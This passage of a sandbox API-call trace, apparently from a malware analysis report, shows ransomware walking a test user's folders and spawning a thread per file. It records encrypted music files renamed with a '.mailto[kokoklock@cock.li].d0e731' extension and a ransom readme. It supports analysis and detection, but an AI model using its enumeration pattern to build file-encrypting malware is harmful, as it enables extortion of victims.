hFindFile=0x2f7fc20 | out: hFindFile=0x2f7fc20) returned 1 [0168.880] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2110) returned 1 [0168.880] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80760) returned 1 [0168.880] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80620) returned 1 [0168.880] RtlExitUserThread (Status=0x0) Thread: id = 1712 os_tid = 0xad0 [0168.595] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x30) returned 0x3013210 [0168.595] wcscpy (in: _Dest=0x3013210, _Source="C:\\Users\\FD1HVy\\Links" | out: _Dest="C:\\Users\\FD1HVy\\Links") returned="C:\\Users\\FD1HVy\\Links" [0168.595] wcscat (in: _Dest=0x3013210, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Links\\") returned="C:\\Users\\FD1HVy\\Links\\" [0168.595] wcscat (in: _Dest=0x3013210, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Links\\*") returned="C:\\Users\\FD1HVy\\Links\\*" [0168.595] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2378 [0168.595] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Links\\*", lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fc60 [0168.595] wcscmp (_String1=".", _String2=".") returned 0 [0168.595] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9463e5c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.595] wcscmp (_String1="..", _String2=".") returned 1 [0168.595] wcscmp (_String1="..", _String2="..") returned 0 [0168.595] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcee4480b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0168.595] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0168.595] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0168.595] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4428f2bb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4428f2bb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce90d59d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0168.595] wcscmp (_String1="Desktop.lnk", _String2=".") returned 1 [0168.595] wcscmp (_String1="Desktop.lnk", _String2="..") returned 1 [0168.595] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x442b54f3, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x442b54f3, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xcec7abde, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0168.595] wcscmp (_String1="Downloads.lnk", _String2=".") returned 1 [0168.596] wcscmp (_String1="Downloads.lnk", _String2="..") returned 1 [0168.596] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3190fb5, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94664823, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1 [0168.596] wcscmp (_String1="OneDrive.lnk", _String2=".") returned 1 [0168.596] wcscmp (_String1="OneDrive.lnk", _String2="..") returned 1 [0168.596] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3190fb5, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x9463e5c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x94664823, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 0 [0168.596] FindClose (in: hFindFile=0x2f7fc60 | out: hFindFile=0x2f7fc60) returned 1 [0168.596] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2378) returned 1 [0168.596] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013210) returned 1 [0168.596] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30136e0) returned 1 [0168.596] RtlExitUserThread (Status=0x0) Thread: id = 1713 os_tid = 0x6b0 [0168.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x42) returned 0x2fa11d0 [0168.597] wcscpy (in: _Dest=0x2fa11d0, _Source="C:\\Users\\FD1HVy\\Local Settings" | out: _Dest="C:\\Users\\FD1HVy\\Local Settings") returned="C:\\Users\\FD1HVy\\Local Settings" [0168.597] wcscat (in: _Dest=0x2fa11d0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Local Settings\\") returned="C:\\Users\\FD1HVy\\Local Settings\\" [0168.597] wcscat (in: _Dest=0x2fa11d0, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Local Settings\\*") returned="C:\\Users\\FD1HVy\\Local Settings\\*" [0168.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2378 [0168.597] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Local Settings\\*", lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.597] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2378) returned 1 [0168.597] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa11d0) returned 1 [0168.597] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0168.597] RtlExitUserThread (Status=0x0) Thread: id = 1714 os_tid = 0x874 [0168.598] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x30) returned 0x3013210 [0168.598] wcscpy (in: _Dest=0x3013210, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0168.598] wcscat (in: _Dest=0x3013210, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0168.598] wcscat (in: _Dest=0x3013210, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Music\\*") returned="C:\\Users\\FD1HVy\\Music\\*" [0168.598] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2378 [0168.598] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\*", lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x82eeb9ae, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82eeb9ae, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fc60 [0168.599] wcscmp (_String1=".", _String2=".") returned 0 [0168.599] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x82eeb9ae, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82eeb9ae, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.599] wcscmp (_String1="..", _String2=".") returned 1 [0168.599] wcscmp (_String1="..", _String2="..") returned 0 [0168.599] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e06bca, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x82e06bca, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x82e06bca, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0168.599] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0168.599] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0168.599] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4409f518, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4409f518, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0168.599] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0168.599] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0168.599] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x47e95dd0, ftCreationTime.dwHighDateTime=0x1d4cb77, ftLastAccessTime.dwLowDateTime=0x84c92dd2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84c92dd2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GorxmBaXvtsgdsAV", cAlternateFileName="GORXMB~1")) returned 1 [0168.599] wcscmp (_String1="GorxmBaXvtsgdsAV", _String2=".") returned 1 [0168.599] wcscmp (_String1="GorxmBaXvtsgdsAV", _String2="..") returned 1 [0168.599] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4e) returned 0x2f6ae98 [0168.599] wcscpy (in: _Dest=0x2f6ae98, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0168.599] wcscat (in: _Dest=0x2f6ae98, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0168.599] wcscat (in: _Dest=0x2f6ae98, _Source="GorxmBaXvtsgdsAV" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV" [0168.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6ae98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec [0168.869] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x556f0ae0, ftCreationTime.dwHighDateTime=0x1d4cd52, ftLastAccessTime.dwLowDateTime=0x84bd41ac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84bd41ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IYh3SxDKlqkem52ms", cAlternateFileName="IYH3SX~1")) returned 1 [0168.869] wcscmp (_String1="IYh3SxDKlqkem52ms", _String2=".") returned 1 [0168.870] wcscmp (_String1="IYh3SxDKlqkem52ms", _String2="..") returned 1 [0168.870] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x50) returned 0x2f88e70 [0168.870] wcscpy (in: _Dest=0x2f88e70, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0168.870] wcscat (in: _Dest=0x2f88e70, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0168.870] wcscat (in: _Dest=0x2f88e70, _Source="IYh3SxDKlqkem52ms" | out: _Dest="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms") returned="C:\\Users\\FD1HVy\\Music\\IYh3SxDKlqkem52ms" [0168.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88e70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0168.870] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a281e0, ftCreationTime.dwHighDateTime=0x1d4c9a8, ftLastAccessTime.dwLowDateTime=0x59d41c60, ftLastAccessTime.dwHighDateTime=0x1d4d59a, ftLastWriteTime.dwLowDateTime=0x82e06bca, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x83ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MPKK-J~1.D0E")) returned 1 [0168.870] wcscmp (_String1="mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.870] wcscmp (_String1="mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.870] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x88) returned 0x2f82748 [0168.870] wcscpy (in: _Dest=0x2f82748, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0168.871] wcscat (in: _Dest=0x2f82748, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0168.871] wcscat (in: _Dest=0x2f82748, _Source="mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\mpK K-JQ.wav.mailto[kokoklock@cock.li].d0e731" [0168.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82748, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404 [0168.871] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8beaf480, ftCreationTime.dwHighDateTime=0x1d4d027, ftLastAccessTime.dwLowDateTime=0x3d04020, ftLastAccessTime.dwHighDateTime=0x1d4c6ca, ftLastWriteTime.dwLowDateTime=0x82e9fc7e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1377f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PDAJG9~1.D0E")) returned 1 [0168.871] wcscmp (_String1="PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.872] wcscmp (_String1="PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.872] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8c) returned 0x2fe5728 [0168.872] wcscpy (in: _Dest=0x2fe5728, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0168.872] wcscat (in: _Dest=0x2fe5728, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0168.872] wcscat (in: _Dest=0x2fe5728, _Source="PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\PdAjG9sZ G.mp3.mailto[kokoklock@cock.li].d0e731" [0168.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe5728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc [0168.872] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b34f100, ftCreationTime.dwHighDateTime=0x1d4ce10, ftLastAccessTime.dwLowDateTime=0x84aef506, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x84aef506, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RKFI", cAlternateFileName="")) returned 1 [0168.872] wcscmp (_String1="RKFI", _String2=".") returned 1 [0168.872] wcscmp (_String1="RKFI", _String2="..") returned 1 [0168.872] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0168.872] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0168.873] wcscat (in: _Dest=0x2f80860, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0168.873] wcscat (in: _Dest=0x2f80860, _Source="RKFI" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI") returned="C:\\Users\\FD1HVy\\Music\\RKFI" [0168.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f80860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8 [0168.873] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb698ef60, ftCreationTime.dwHighDateTime=0x1d4d3e3, ftLastAccessTime.dwLowDateTime=0x8e655e00, ftLastAccessTime.dwHighDateTime=0x1d4cdf0, ftLastWriteTime.dwLowDateTime=0x82ec56a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1323e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SADDU8~1.D0E")) returned 1 [0168.873] wcscmp (_String1="SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.873] wcscmp (_String1="SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.873] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe4be0 [0168.873] wcscpy (in: _Dest=0x2fe4be0, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0168.873] wcscat (in: _Dest=0x2fe4be0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0168.873] wcscat (in: _Dest=0x2fe4be0, _Source="SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\SaddU8qud.m4a.mailto[kokoklock@cock.li].d0e731" [0168.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4be0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4 [0168.874] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6197b320, ftCreationTime.dwHighDateTime=0x1d4cbc3, ftLastAccessTime.dwLowDateTime=0x8488cdc6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8488cdc6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEqkCtYdumT1MRWa", cAlternateFileName="SEQKCT~1")) returned 1 [0168.874] wcscmp (_String1="SEqkCtYdumT1MRWa", _String2=".") returned 1 [0168.874] wcscmp (_String1="SEqkCtYdumT1MRWa", _String2="..") returned 1 [0168.874] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4e) returned 0x2f88a50 [0168.874] wcscpy (in: _Dest=0x2f88a50, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0168.874] wcscat (in: _Dest=0x2f88a50, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0168.874] wcscat (in: _Dest=0x2f88a50, _Source="SEqkCtYdumT1MRWa" | out: _Dest="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa") returned="C:\\Users\\FD1HVy\\Music\\SEqkCtYdumT1MRWa" [0168.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f88a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f0 [0168.875] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf7dd20, ftCreationTime.dwHighDateTime=0x1d4d2f6, ftLastAccessTime.dwLowDateTime=0x50e736a0, ftLastAccessTime.dwHighDateTime=0x1d4d225, ftLastWriteTime.dwLowDateTime=0x82eeb9ae, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x85cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VMWK23~1.D0E")) returned 1 [0168.875] wcscmp (_String1="V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.875] wcscmp (_String1="V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.875] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8e) returned 0x2fe4d10 [0168.875] wcscpy (in: _Dest=0x2fe4d10, _Source="C:\\Users\\FD1HVy\\Music" | out: _Dest="C:\\Users\\FD1HVy\\Music") returned="C:\\Users\\FD1HVy\\Music" [0168.875] wcscat (in: _Dest=0x2fe4d10, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\") returned="C:\\Users\\FD1HVy\\Music\\" [0168.875] wcscat (in: _Dest=0x2fe4d10, _Source="V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731" [0168.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec [0168.876] FindNextFileW (in: hFindFile=0x2f7fc60, lpFindFileData=0x2fe2378 | out: lpFindFileData=0x2fe2378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf7dd20, ftCreationTime.dwHighDateTime=0x1d4d2f6, ftLastAccessTime.dwLowDateTime=0x50e736a0, ftLastAccessTime.dwHighDateTime=0x1d4d225, ftLastWriteTime.dwLowDateTime=0x82eeb9ae, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x85cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="V mWk23OCjQ.mp3.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VMWK23~1.D0E")) returned 0 [0168.876] FindClose (in: hFindFile=0x2f7fc60 | out: hFindFile=0x2f7fc60) returned 1 [0168.876] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2378) returned 1 [0168.876] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013210) returned 1 [0168.876] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013328) returned 1 [0168.876] RtlExitUserThread (Status=0x0) Thread: id = 1715 os_tid = 0x9c0 [0168.599] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3e) returned 0x2f87230 [0168.600] wcscpy (in: _Dest=0x2f87230, _Source="C:\\Users\\FD1HVy\\My Documents" | out: _Dest="C:\\Users\\FD1HVy\\My Documents") returned="C:\\Users\\FD1HVy\\My Documents" [0168.600] wcscat (in: _Dest=0x2f87230, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\My Documents\\") returned="C:\\Users\\FD1HVy\\My Documents\\" [0168.600] wcscat (in: _Dest=0x2f87230, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\My Documents\\*") returned="C:\\Users\\FD1HVy\\My Documents\\*" [0168.600] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe25e0 